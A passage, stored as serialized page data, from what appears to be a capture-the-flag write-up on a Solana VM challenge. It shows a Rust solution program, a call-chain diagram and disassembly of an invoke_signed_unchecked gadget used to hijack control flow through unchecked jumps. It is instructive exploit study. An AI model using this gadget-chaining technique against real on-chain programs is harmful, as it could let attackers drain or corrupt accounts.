Ok(())\n}\n",[47109],{"type":25,"tag":82,"props":47110,"children":47111},{"__ignoreMap":7},[47112,47132,47156,47184,47212,47232,47268,47304,47311,47319,47352,47369,47394,47415,47467,47492,47499,47512,47558,47602,47610,47618,47629,47645,47656,47676,47696,47703,47739,47754,47761,47769,47848,47855,47866],{"type":25,"tag":216,"props":47113,"children":47114},{"class":6916,"line":6917},[47115,47119,47123,47128],{"type":25,"tag":216,"props":47116,"children":47117},{"style":6930},[47118],{"type":31,"value":17641},{"type":25,"tag":216,"props":47120,"children":47121},{"style":6930},[47122],{"type":31,"value":17646},{"type":25,"tag":216,"props":47124,"children":47125},{"style":7041},[47126],{"type":31,"value":47127}," process_instruction",{"type":25,"tag":216,"props":47129,"children":47130},{"style":6958},[47131],{"type":31,"value":7414},{"type":25,"tag":216,"props":47133,"children":47134},{"class":6916,"line":6763},[47135,47140,47144,47148,47152],{"type":25,"tag":216,"props":47136,"children":47137},{"style":6941},[47138],{"type":31,"value":47139},"    program_id",{"type":25,"tag":216,"props":47141,"children":47142},{"style":6947},[47143],{"type":31,"value":1466},{"type":25,"tag":216,"props":47145,"children":47146},{"style":6947},[47147],{"type":31,"value":11087},{"type":25,"tag":216,"props":47149,"children":47150},{"style":7369},[47151],{"type":31,"value":25352},{"type":25,"tag":216,"props":47153,"children":47154},{"style":6958},[47155],{"type":31,"value":7459},{"type":25,"tag":216,"props":47157,"children":47158},{"class":6916,"line":6772},[47159,47164,47168,47172,47176,47180],{"type":25,"tag":216,"props":47160,"children":47161},{"style":6941},[47162],{"type":31,"value":47163},"    accounts",{"type":25,"tag":216,"props":47165,"children":47166},{"style":6947},[47167],{"type":31,"value":1466},{"type":25,"tag":216,"props":47169,"children":47170},{"style":6947},[47171],{"type":31,"value":11087},{"type":25,"tag":216,"props":47173,"children":47174},{"style":6958},[47175],{"type":31,"value":7695},{"type":25,"tag":216,"props":47177,"children":47178},{"style":7369},[47179],{"type":31,"value":18890},{"type":25,"tag":216,"props":47181,"children":47182},{"style":6958},[47183],{"type":31,"value":18214},{"type":25,"tag":216,"props":47185,"children":47186},{"class":6916,"line":6999},[47187,47192,47196,47200,47204,47208],{"type":25,"tag":216,"props":47188,"children":47189},{"style":6941},[47190],{"type":31,"value":47191},"    data",{"type":25,"tag":216,"props":47193,"children":47194},{"style":6947},[47195],{"type":31,"value":1466},{"type":25,"tag":216,"props":47197,"children":47198},{"style":6947},[47199],{"type":31,"value":11087},{"type":25,"tag":216,"props":47201,"children":47202},{"style":6958},[47203],{"type":31,"value":7695},{"type":25,"tag":216,"props":47205,"children":47206},{"style":7369},[47207],{"type":31,"value":7372},{"type":25,"tag":216,"props":47209,"children":47210},{"style":6958},[47211],{"type":31,"value":15722},{"type":25,"tag":216,"props":47213,"children":47214},{"class":6916,"line":7104},[47215,47219,47223,47228],{"type":25,"tag":216,"props":47216,"children":47217},{"style":6958},[47218],{"type":31,"value":7030},{"type":25,"tag":216,"props":47220,"children":47221},{"style":6947},[47222],{"type":31,"value":17708},{"type":25,"tag":216,"props":47224,"children":47225},{"style":7369},[47226],{"type":31,"value":47227}," ProgramResult",{"type":25,"tag":216,"props":47229,"children":47230},{"style":6958},[47231],{"type":31,"value":7235},{"type":25,"tag":216,"props":47233,"children":47234},{"class":6916,"line":7210},[47235,47239,47244,47248,47252,47256,47260,47264],{"type":25,"tag":216,"props":47236,"children":47237},{"style":6930},[47238],{"type":31,"value":6933},{"type":25,"tag":216,"props":47240,"children":47241},{"style":6941},[47242],{"type":31,"value":47243}," flag_pda_ai",{"type":25,"tag":216,"props":47245,"children":47246},{"style":6947},[47247],{"type":31,"value":6950},{"type":25,"tag":216,"props":47249,"children":47250},{"style":6947},[47251],{"type":31,"value":11087},{"type":25,"tag":216,"props":47253,"children":47254},{"style":6941},[47255],{"type":31,"value":18626},{"type":25,"tag":216,"props":47257,"children":47258},{"style":6958},[47259],{"type":31,"value":7695},{"type":25,"tag":216,"props":47261,"children":47262},{"style":6983},[47263],{"type":31,"value":1876},{"type":25,"tag":216,"props":47265,"children":47266},{"style":6958},[47267],{"type":31,"value":35530},{"type":25,"tag":216,"props":47269,"children":47270},{"class":6916,"line":7238},[47271,47275,47280,47284,47288,47292,47296,47300],{"type":25,"tag":216,"props":47272,"children":47273},{"style":6930},[47274],{"type":31,"value":6933},{"type":25,"tag":216,"props":47276,"children":47277},{"style":6941},[47278],{"type":31,"value":47279}," user_ai",{"type":25,"tag":216,"props":47281,"children":47282},{"style":6947},[47283],{"type":31,"value":6950},{"type":25,"tag":216,"props":47285,"children":47286},{"style":6947},[47287],{"type":31,"value":11087},{"type":25,"tag":216,"props":47289,"children":47290},{"style":6941},[47291],{"type":31,"value":18626},{"type":25,"tag":216,"props":47293,"children":47294},{"style":6958},[47295],{"type":31,"value":7695},{"type":25,"tag":216,"props":47297,"children":47298},{"style":6983},[47299],{"type":31,"value":184},{"type":25,"tag":216,"props":47301,"children":47302},{"style":6958},[47303],{"type":31,"value":35530},{"type":25,"tag":216,"props":47305,"children":47306},{"class":6916,"line":7251},[47307],{"type":25,"tag":216,"props":47308,"children":47309},{"emptyLinePlaceholder":16},[47310],{"type":31,"value":7636},{"type":25,"tag":216,"props":47312,"children":47313},{"class":6916,"line":7269},[47314],{"type":25,"tag":216,"props":47315,"children":47316},{"style":6921},[47317],{"type":31,"value":47318},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":25,"tag":216,"props":47320,"children":47321},{"class":6916,"line":7290},[47322,47326,47331,47335,47339,47343,47348],{"type":25,"tag":216,"props":47323,"children":47324},{"style":6930},[47325],{"type":31,"value":6933},{"type":25,"tag":216,"props":47327,"children":47328},{"style":6941},[47329],{"type":31,"value":47330}," instruction",{"type":25,"tag":216,"props":47332,"children":47333},{"style":6947},[47334],{"type":31,"value":6950},{"type":25,"tag":216,"props":47336,"children":47337},{"style":7369},[47338],{"type":31,"value":44970},{"type":25,"tag":216,"props":47340,"children":47341},{"style":6947},[47342],{"type":31,"value":7432},{"type":25,"tag":216,"props":47344,"children":47345},{"style":7041},[47346],{"type":31,"value":47347},"new_with_bincode",{"type":25,"tag":216,"props":47349,"children":47350},{"style":6958},[47351],{"type":31,"value":7414},{"type":25,"tag":216,"props":47353,"children":47354},{"class":6916,"line":7299},[47355,47360,47364],{"type":25,"tag":216,"props":47356,"children":47357},{"style":6958},[47358],{"type":31,"value":47359},"        system_program",{"type":25,"tag":216,"props":47361,"children":47362},{"style":6947},[47363],{"type":31,"value":7432},{"type":25,"tag":216,"props":47365,"children":47366},{"style":6958},[47367],{"type":31,"value":47368},"ID,\n",{"type":25,"tag":216,"props":47370,"children":47371},{"class":6916,"line":7551},[47372,47376,47381,47385,47390],{"type":25,"tag":216,"props":47373,"children":47374},{"style":6947},[47375],{"type":31,"value":7422},{"type":25,"tag":216,"props":47377,"children":47378},{"style":6958},[47379],{"type":31,"value":47380},"SystemInstruction",{"type":25,"tag":216,"props":47382,"children":47383},{"style":6947},[47384],{"type":31,"value":7432},{"type":25,"tag":216,"props":47386,"children":47387},{"style":7369},[47388],{"type":31,"value":47389},"CreateAccount",{"type":25,"tag":216,"props":47391,"children":47392},{"style":6958},[47393],{"type":31,"value":7235},{"type":25,"tag":216,"props":47395,"children":47396},{"class":6916,"line":7568},[47397,47402,47406,47411],{"type":25,"tag":216,"props":47398,"children":47399},{"style":6941},[47400],{"type":31,"value":47401},"            space",{"type":25,"tag":216,"props":47403,"children":47404},{"style":6947},[47405],{"type":31,"value":1466},{"type":25,"tag":216,"props":47407,"children":47408},{"style":6983},[47409],{"type":31,"value":47410}," 0x1337",{"type":25,"tag":216,"props":47412,"children":47413},{"style":6958},[47414],{"type":31,"value":7459},{"type":25,"tag":216,"props":47416,"children":47417},{"class":6916,"line":7585},[47418,47423,47427,47432,47436,47441,47445,47449,47454,47458,47463],{"type":25,"tag":216,"props":47419,"children":47420},{"style":6941},[47421],{"type":31,"value":47422},"            lamports",{"type":25,"tag":216,"props":47424,"children":47425},{"style":6947},[47426],{"type":31,"value":1466},{"type":25,"tag":216,"props":47428,"children":47429},{"style":6958},[47430],{"type":31,"value":47431}," Rent",{"type":25,"tag":216,"props":47433,"children":47434},{"style":6947},[47435],{"type":31,"value":7432},{"type":25,"tag":216,"props":47437,"children":47438},{"style":7041},[47439],{"type":31,"value":47440},"default",{"type":25,"tag":216,"props":47442,"children":47443},{"style":6958},[47444],{"type":31,"value":17830},{"type":25,"tag":216,"props":47446,"children":47447},{"style":6947},[47448],{"type":31,"value":179},{"type":25,"tag":216,"props":47450,"children":47451},{"style":7041},[47452],{"type":31,"value":47453},"minimum_balance",{"type":25,"tag":216,"props":47455,"children":47456},{"style":6958},[47457],{"type":31,"value":1844},{"type":25,"tag":216,"props":47459,"children":47460},{"style":6983},[47461],{"type":31,"value":47462},"0x1337",{"type":25,"tag":216,"props":47464,"children":47465},{"style":6958},[47466],{"type":31,"value":10682},{"type":25,"tag":216,"props":47468,"children":47469},{"class":6916,"line":7598},[47470,47475,47479,47483,47487],{"type":25,"tag":216,"props":47471,"children":47472},{"style":6941},[47473],{"type":31,"value":47474},"            owner",{"type":25,"tag":216,"props":47476,"children":47477},{"style":6947},[47478],{"type":31,"value":1466},{"type":25,"tag":216,"props":47480,"children":47481},{"style":6958},[47482],{"type":31,"value":46002},{"type":25,"tag":216,"props":47484,"children":47485},{"style":6947},[47486],{"type":31,"value":7432},{"type":25,"tag":216,"props":47488,"children":47489},{"style":6958},[47490],{"type":31,"value":47491},"ID\n",{"type":25,"tag":216,"props":47493,"children":47494},{"class":6916,"line":7607},[47495],{"type":25,"tag":216,"props":47496,"children":47497},{"style":6958},[47498],{"type":31,"value":29325},{"type":25,"tag":216,"props":47500,"children":47501},{"class":6916,"line":7630},[47502,47507],{"type":25,"tag":216,"props":47503,"children":47504},{"style":7041},[47505],{"type":31,"value":47506},"        vec!",{"type":25,"tag":216,"props":47508,"children":47509},{"style":6958},[47510],{"type":31,"value":47511},"[\n",{"type":25,"tag":216,"props":47513,"children":47514},{"class":6916,"line":7639},[47515,47520,47524,47528,47532,47536,47541,47545,47550,47554],{"type":25,"tag":216,"props":47516,"children":47517},{"style":6958},[47518],{"type":31,"value":47519},"            AccountMeta",{"type":25,"tag":216,"props":47521,"children":47522},{"style":6947},[47523],{"type":31,"value":7432},{"type":25,"tag":216,"props":47525,"children":47526},{"style":7041},[47527],{"type":31,"value":19074},{"type":25,"tag":216,"props":47529,"children":47530},{"style":6958},[47531],{"type":31,"value":1844},{"type":25,"tag":216,"props":47533,"children":47534},{"style":6947},[47535],{"type":31,"value":8513},{"type":25,"tag":216,"props":47537,"children":47538},{"style":6941},[47539],{"type":31,"value":47540},"user_ai",{"type":25,"tag":216,"props":47542,"children":47543},{"style":6947},[47544],{"type":31,"value":179},{"type":25,"tag":216,"props":47546,"children":47547},{"style":6958},[47548],{"type":31,"value":47549},"key, ",{"type":25,"tag":216,"props":47551,"children":47552},{"style":6930},[47553],{"type":31,"value":230},{"type":25,"tag":216,"props":47555,"children":47556},{"style":6958},[47557],{"type":31,"value":10682},{"type":25,"tag":216,"props":47559,"children":47560},{"class":6916,"line":7648},[47561,47565,47569,47573,47577,47581,47586,47590,47594,47598],{"type":25,"tag":216,"props":47562,"children":47563},{"style":6958},[47564],{"type":31,"value":47519},{"type":25,"tag":216,"props":47566,"children":47567},{"style":6947},[47568],{"type":31,"value":7432},{"type":25,"tag":216,"props":47570,"children":47571},{"style":7041},[47572],{"type":31,"value":19074},{"type":25,"tag":216,"props":47574,"children":47575},{"style":6958},[47576],{"type":31,"value":1844},{"type":25,"tag":216,"props":47578,"children":47579},{"style":6947},[47580],{"type":31,"value":8513},{"type":25,"tag":216,"props":47582,"children":47583},{"style":6941},[47584],{"type":31,"value":47585},"flag_pda_ai",{"type":25,"tag":216,"props":47587,"children":47588},{"style":6947},[47589],{"type":31,"value":179},{"type":25,"tag":216,"props":47591,"children":47592},{"style":6958},[47593],{"type":31,"value":47549},{"type":25,"tag":216,"props":47595,"children":47596},{"style":6930},[47597],{"type":31,"value":230},{"type":25,"tag":216,"props":47599,"children":47600},{"style":6958},[47601],{"type":31,"value":10682},{"type":25,"tag":216,"props":47603,"children":47604},{"class":6916,"line":7716},[47605],{"type":25,"tag":216,"props":47606,"children":47607},{"style":6958},[47608],{"type":31,"value":47609},"        ],\n",{"type":25,"tag":216,"props":47611,"children":47612},{"class":6916,"line":7724},[47613],{"type":25,"tag":216,"props":47614,"children":47615},{"style":6958},[47616],{"type":31,"value":47617},"    );\n",{"type":25,"tag":216,"props":47619,"children":47620},{"class":6916,"line":7754},[47621,47625],{"type":25,"tag":216,"props":47622,"children":47623},{"style":7041},[47624],{"type":31,"value":45087},{"type":25,"tag":216,"props":47626,"children":47627},{"style":6958},[47628],{"type":31,"value":7414},{"type":25,"tag":216,"props":47630,"children":47631},{"class":6916,"line":7762},[47632,47636,47641],{"type":25,"tag":216,"props":47633,"children":47634},{"style":6947},[47635],{"type":31,"value":7422},{"type":25,"tag":216,"props":47637,"children":47638},{"style":6941},[47639],{"type":31,"value":47640},"instruction",{"type":25,"tag":216,"props":47642,"children":47643},{"style":6958},[47644],{"type":31,"value":7459},{"type":25,"tag":216,"props":47646,"children":47647},{"class":6916,"line":7794},[47648,47652],{"type":25,"tag":216,"props":47649,"children":47650},{"style":6947},[47651],{"type":31,"value":7422},{"type":25,"tag":216,"props":47653,"children":47654},{"style":6958},[47655],{"type":31,"value":47511},{"type":25,"tag":216,"props":47657,"children":47658},{"class":6916,"line":7802},[47659,47664,47668,47672],{"type":25,"tag":216,"props":47660,"children":47661},{"style":6941},[47662],{"type":31,"value":47663},"            user_ai",{"type":25,"tag":216,"props":47665,"children":47666},{"style":6947},[47667],{"type":31,"value":179},{"type":25,"tag":216,"props":47669,"children":47670},{"style":7041},[47671],{"type":31,"value":19371},{"type":25,"tag":216,"props":47673,"children":47674},{"style":6958},[47675],{"type":31,"value":7442},{"type":25,"tag":216,"props":47677,"children":47678},{"class":6916,"line":7862},[47679,47684,47688,47692],{"type":25,"tag":216,"props":47680,"children":47681},{"style":6941},[47682],{"type":31,"value":47683},"            flag_pda_ai",{"type":25,"tag":216,"props":47685,"children":47686},{"style":6947},[47687],{"type":31,"value":179},{"type":25,"tag":216,"props":47689,"children":47690},{"style":7041},[47691],{"type":31,"value":19371},{"type":25,"tag":216,"props":47693,"children":47694},{"style":6958},[47695],{"type":31,"value":7442},{"type":25,"tag":216,"props":47697,"children":47698},{"class":6916,"line":12995},[47699],{"type":25,"tag":216,"props":47700,"children":47701},{"style":6958},[47702],{"type":31,"value":47609},{"type":25,"tag":216,"props":47704,"children":47705},{"class":6916,"line":13013},[47706,47710,47714,47718,47722,47726,47730,47734],{"type":25,"tag":216,"props":47707,"children":47708},{"style":6947},[47709],{"type":31,"value":7422},{"type":25,"tag":216,"props":47711,"children":47712},{"style":6958},[47713],{"type":31,"value":7695},{"type":25,"tag":216,"props":47715,"children":47716},{"style":6947},[47717],{"type":31,"value":7053},{"type":25,"tag":216,"props":47719,"children":47720},{"style":6958},[47721],{"type":31,"value":7695},{"type":25,"tag":216,"props":47723,"children":47724},{"style":8199},[47725],{"type":31,"value":46582},{"type":25,"tag":216,"props":47727,"children":47728},{"style":6947},[47729],{"type":31,"value":179},{"type":25,"tag":216,"props":47731,"children":47732},{"style":7041},[47733],{"type":31,"value":46591},{"type":25,"tag":216,"props":47735,"children":47736},{"style":6958},[47737],{"type":31,"value":47738},"()]],\n",{"type":25,"tag":216,"props":47740,"children":47741},{"class":6916,"line":13058},[47742,47746,47750],{"type":25,"tag":216,"props":47743,"children":47744},{"style":6958},[47745],{"type":31,"value":7613},{"type":25,"tag":216,"props":47747,"children":47748},{"style":6947},[47749],{"type":31,"value":605},{"type":25,"tag":216,"props":47751,"children":47752},{"style":6958},[47753],{"type":31,"value":6961},{"type":25,"tag":216,"props":47755,"children":47756},{"class":6916,"line":13164},[47757],{"type":25,"tag":216,"props":47758,"children":47759},{"emptyLinePlaceholder":16},[47760],{"type":31,"value":7636},{"type":25,"tag":216,"props":47762,"children":47763},{"class":6916,"line":27449},[47764],{"type":25,"tag":216,"props":47765,"children":47766},{"style":6921},[47767],{"type":31,"value":47768},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":25,"tag":216,"props":47770,"children":47771},{"class":6916,"line":27484},[47772,47777,47781,47785,47789,47793,47797,47801,47805,47809,47813,47818,47822,47826,47831,47835,47839,47844],{"type":25,"tag":216,"props":47773,"children":47774},{"style":6941},[47775],{"type":31,"value":47776},"    flag_pda_ai",{"type":25,"tag":216,"props":47778,"children":47779},{"style":6947},[47780],{"type":31,"value":179},{"type":25,"tag":216,"props":47782,"children":47783},{"style":7041},[47784],{"type":31,"value":17825},{"type":25,"tag":216,"props":47786,"children":47787},{"style":6958},[47788],{"type":31,"value":17830},{"type":25,"tag":216,"props":47790,"children":47791},{"style":6947},[47792],{"type":31,"value":605},{"type":25,"tag":216,"props":47794,"children":47795},{"style":6958},[47796],{"type":31,"value":7695},{"type":25,"tag":216,"props":47798,"children":47799},{"style":6947},[47800],{"type":31,"value":6991},{"type":25,"tag":216,"props":47802,"children":47803},{"style":6983},[47804],{"type":31,"value":8025},{"type":25,"tag":216,"props":47806,"children":47807},{"style":6958},[47808],{"type":31,"value":19362},{"type":25,"tag":216,"props":47810,"children":47811},{"style":6947},[47812],{"type":31,"value":179},{"type":25,"tag":216,"props":47814,"children":47815},{"style":7041},[47816],{"type":31,"value":47817},"copy_from_slice",{"type":25,"tag":216,"props":47819,"children":47820},{"style":6958},[47821],{"type":31,"value":1844},{"type":25,"tag":216,"props":47823,"children":47824},{"style":6947},[47825],{"type":31,"value":7053},{"type":25,"tag":216,"props":47827,"children":47828},{"style":6983},[47829],{"type":31,"value":47830},"0x4337",{"type":25,"tag":216,"props":47832,"children":47833},{"style":7369},[47834],{"type":31,"value":11988},{"type":25,"tag":216,"props":47836,"children":47837},{"style":6947},[47838],{"type":31,"value":179},{"type":25,"tag":216,"props":47840,"children":47841},{"style":7041},[47842],{"type":31,"value":47843},"to_le_bytes",{"type":25,"tag":216,"props":47845,"children":47846},{"style":6958},[47847],{"type":31,"value":19376},{"type":25,"tag":216,"props":47849,"children":47850},{"class":6916,"line":27492},[47851],{"type":25,"tag":216,"props":47852,"children":47853},{"emptyLinePlaceholder":16},[47854],{"type":31,"value":7636},{"type":25,"tag":216,"props":47856,"children":47857},{"class":6916,"line":27500},[47858,47862],{"type":25,"tag":216,"props":47859,"children":47860},{"style":7369},[47861],{"type":31,"value":18284},{"type":25,"tag":216,"props":47863,"children":47864},{"style":6958},[47865],{"type":31,"value":18289},{"type":25,"tag":216,"props":47867,"children":47868},{"class":6916,"line":27509},[47869],{"type":25,"tag":216,"props":47870,"children":47871},{"style":6958},[47872],{"type":31,"value":7868},{"type":25,"tag":38,"props":47874,"children":47875},{},[47876],{"type":31,"value":47877},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":25,"tag":38,"props":47879,"children":47880},{},[47881],{"type":25,"tag":6461,"props":47882,"children":47885},{"alt":47883,"src":47884},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":25,"tag":38,"props":47887,"children":47888},{},[47889],{"type":31,"value":47890},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":25,"tag":26,"props":47892,"children":47894},{"id":47893},"solution-implementation",[47895],{"type":31,"value":47896},"Solution Implementation",{"type":25,"tag":38,"props":47898,"children":47899},{},[47900,47902,47907],{"type":31,"value":47901},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":25,"tag":82,"props":47903,"children":47905},{"className":47904},[],[47906],{"type":31,"value":39638},{"type":31,"value":47908}," invocations:",{"type":25,"tag":206,"props":47910,"children":47914},{"className":47911,"code":47912,"language":47913,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[47915],{"type":25,"tag":82,"props":47916,"children":47917},{"__ignoreMap":7},[47918,47926,47934,47942,47950,47958,47966],{"type":25,"tag":216,"props":47919,"children":47920},{"class":6916,"line":6917},[47921],{"type":25,"tag":216,"props":47922,"children":47923},{},[47924],{"type":31,"value":47925},"graph LR\n",{"type":25,"tag":216,"props":47927,"children":47928},{"class":6916,"line":6763},[47929],{"type":25,"tag":216,"props":47930,"children":47931},{},[47932],{"type":31,"value":47933},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":25,"tag":216,"props":47935,"children":47936},{"class":6916,"line":6772},[47937],{"type":25,"tag":216,"props":47938,"children":47939},{},[47940],{"type":31,"value":47941},"    B --> C[2: process]\n",{"type":25,"tag":216,"props":47943,"children":47944},{"class":6916,"line":6999},[47945],{"type":25,"tag":216,"props":47946,"children":47947},{},[47948],{"type":31,"value":47949},"    C --> D[3: gadget1]\n",{"type":25,"tag":216,"props":47951,"children":47952},{"class":6916,"line":7104},[47953],{"type":25,"tag":216,"props":47954,"children":47955},{},[47956],{"type":31,"value":47957},"    C --> E[3: process]\n",{"type":25,"tag":216,"props":47959,"children":47960},{"class":6916,"line":7210},[47961],{"type":25,"tag":216,"props":47962,"children":47963},{},[47964],{"type":31,"value":47965},"    E --> F[4: gadget2]\n",{"type":25,"tag":216,"props":47967,"children":47968},{"class":6916,"line":7238},[47969],{"type":25,"tag":216,"props":47970,"children":47971},{},[47972],{"type":31,"value":47973},"    E --> G[...]\n",{"type":25,"tag":38,"props":47975,"children":47976},{},[47977],{"type":31,"value":47978},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":25,"tag":38,"props":47980,"children":47981},{},[47982,47984,47990],{"type":31,"value":47983},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":25,"tag":162,"props":47985,"children":47987},{"href":44445,"rel":47986},[166],[47988],{"type":31,"value":47989},"Binary Ninja",{"type":31,"value":47991}," to find a suitable gadget for this.",{"type":25,"tag":38,"props":47993,"children":47994},{},[47995,47997,48004],{"type":31,"value":47996},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":25,"tag":162,"props":47998,"children":48001},{"href":47999,"rel":48000},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[166],[48002],{"type":31,"value":48003},"skip the strip pass",{"type":31,"value":179},{"type":25,"tag":607,"props":48006,"children":48008},{"id":48007},"cpi-gadget",[48009],{"type":31,"value":48010},"CPI Gadget",{"type":25,"tag":38,"props":48012,"children":48013},{},[48014,48016,48021,48023,48030,48032,48038],{"type":31,"value":48015},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":25,"tag":82,"props":48017,"children":48019},{"className":48018},[],[48020],{"type":31,"value":42253},{"type":31,"value":48022}," function. This function calls into the solana sdk's function ",{"type":25,"tag":162,"props":48024,"children":48027},{"href":48025,"rel":48026},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[166],[48028],{"type":31,"value":48029},"invoke_signed_unchecked",{"type":31,"value":48031},", yielding a powerful gadget at the address ",{"type":25,"tag":82,"props":48033,"children":48035},{"className":48034},[],[48036],{"type":31,"value":48037},"0x100001ba8",{"type":31,"value":179},{"type":25,"tag":206,"props":48040,"children":48042},{"className":6909,"code":48041,"language":6908,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[48043],{"type":25,"tag":82,"props":48044,"children":48045},{"__ignoreMap":7},[48046,48071,48127,48178,48229,48281,48304,48352,48359,48391,48442,48500,48534,48541,48590,48620,48695,48702,48753,48799,48806,48837,48888,48918,48940,48947,48998,49043,49050,49101,49129,49150,49157],{"type":25,"tag":216,"props":48047,"children":48048},{"class":6916,"line":6917},[48049,48053,48057,48062,48066],{"type":25,"tag":216,"props":48050,"children":48051},{"style":6958},[48052],{"type":31,"value":17604},{"type":25,"tag":216,"props":48054,"children":48055},{"style":6947},[48056],{"type":31,"value":7432},{"type":25,"tag":216,"props":48058,"children":48059},{"style":6958},[48060],{"type":31,"value":48061},"program",{"type":25,"tag":216,"props":48063,"children":48064},{"style":6947},[48065],{"type":31,"value":7432},{"type":25,"tag":216,"props":48067,"children":48068},{"style":6941},[48069],{"type":31,"value":48070},"invoke_signed_unchecked\n",{"type":25,"tag":216,"props":48072,"children":48073},{"class":6916,"line":6763},[48074,48079,48084,48089,48094,48099,48104,48108,48113,48118,48123],{"type":25,"tag":216,"props":48075,"children":48076},{"style":6941},[48077],{"type":31,"value":48078},"100001ba8",{"type":25,"tag":216,"props":48080,"children":48081},{"style":6941},[48082],{"type":31,"value":48083},"  79a278ff00000000",{"type":25,"tag":216,"props":48085,"children":48086},{"style":6941},[48087],{"type":31,"value":48088},"   ldxdw",{"type":25,"tag":216,"props":48090,"children":48091},{"style":6941},[48092],{"type":31,"value":48093}," r2",{"type":25,"tag":216,"props":48095,"children":48096},{"style":6958},[48097],{"type":31,"value":48098},", [",{"type":25,"tag":216,"props":48100,"children":48101},{"style":6941},[48102],{"type":31,"value":48103},"r10",{"type":25,"tag":216,"props":48105,"children":48106},{"style":6947},[48107],{"type":31,"value":8270},{"type":25,"tag":216,"props":48109,"children":48110},{"style":6983},[48111],{"type":31,"value":48112},"136",{"type":25,"tag":216,"props":48114,"children":48115},{"style":6958},[48116],{"type":31,"value":48117},"] {",{"type":25,"tag":216,"props":48119,"children":48120},{"style":6941},[48121],{"type":31,"value":48122},"var_88",{"type":25,"tag":216,"props":48124,"children":48125},{"style":6958},[48126],{"type":31,"value":7868},{"type":25,"tag":216,"props":48128,"children":48129},{"class":6916,"line":6772},[48130,48135,48140,48144,48149,48153,48157,48161,48165,48169,48174],{"type":25,"tag":216,"props":48131,"children":48132},{"style":6941},[48133],{"type":31,"value":48134},"100001bb0",{"type":25,"tag":216,"props":48136,"children":48137},{"style":6941},[48138],{"type":31,"value":48139},"  79a380ff00000000",{"type":25,"tag":216,"props":48141,"children":48142},{"style":6941},[48143],{"type":31,"value":48088},{"type":25,"tag":216,"props":48145,"children":48146},{"style":6941},[48147],{"type":31,"value":48148}," r3",{"type":25,"tag":216,"props":48150,"children":48151},{"style":6958},[48152],{"type":31,"value":48098},{"type":25,"tag":216,"props":48154,"children":48155},{"style":6941},[48156],{"type":31,"value":48103},{"type":25,"tag":216,"props":48158,"children":48159},{"style":6947},[48160],{"type":31,"value":8270},{"type":25,"tag":216,"props":48162,"children":48163},{"style":6983},[48164],{"type":31,"value":33802},{"type":25,"tag":216,"props":48166,"children":48167},{"style":6958},[48168],{"type":31,"value":48117},{"type":25,"tag":216,"props":48170,"children":48171},{"style":6941},[48172],{"type":31,"value":48173},"var_80",{"type":25,"tag":216,"props":48175,"children":48176},{"style":6958},[48177],{"type":31,"value":7868},{"type":25,"tag":216,"props":48179,"children":48180},{"class":6916,"line":6999},[48181,48186,48191,48195,48200,48204,48208,48212,48216,48220,48225],{"type":25,"tag":216,"props":48182,"children":48183},{"style":6941},[48184],{"type":31,"value":48185},"100001bb8",{"type":25,"tag":216,"props":48187,"children":48188},{"style":6941},[48189],{"type":31,"value":48190},"  79a468ff00000000",{"type":25,"tag":216,"props":48192,"children":48193},{"style":6941},[48194],{"type":31,"value":48088},{"type":25,"tag":216,"props":48196,"children":48197},{"style":6941},[48198],{"type":31,"value":48199}," 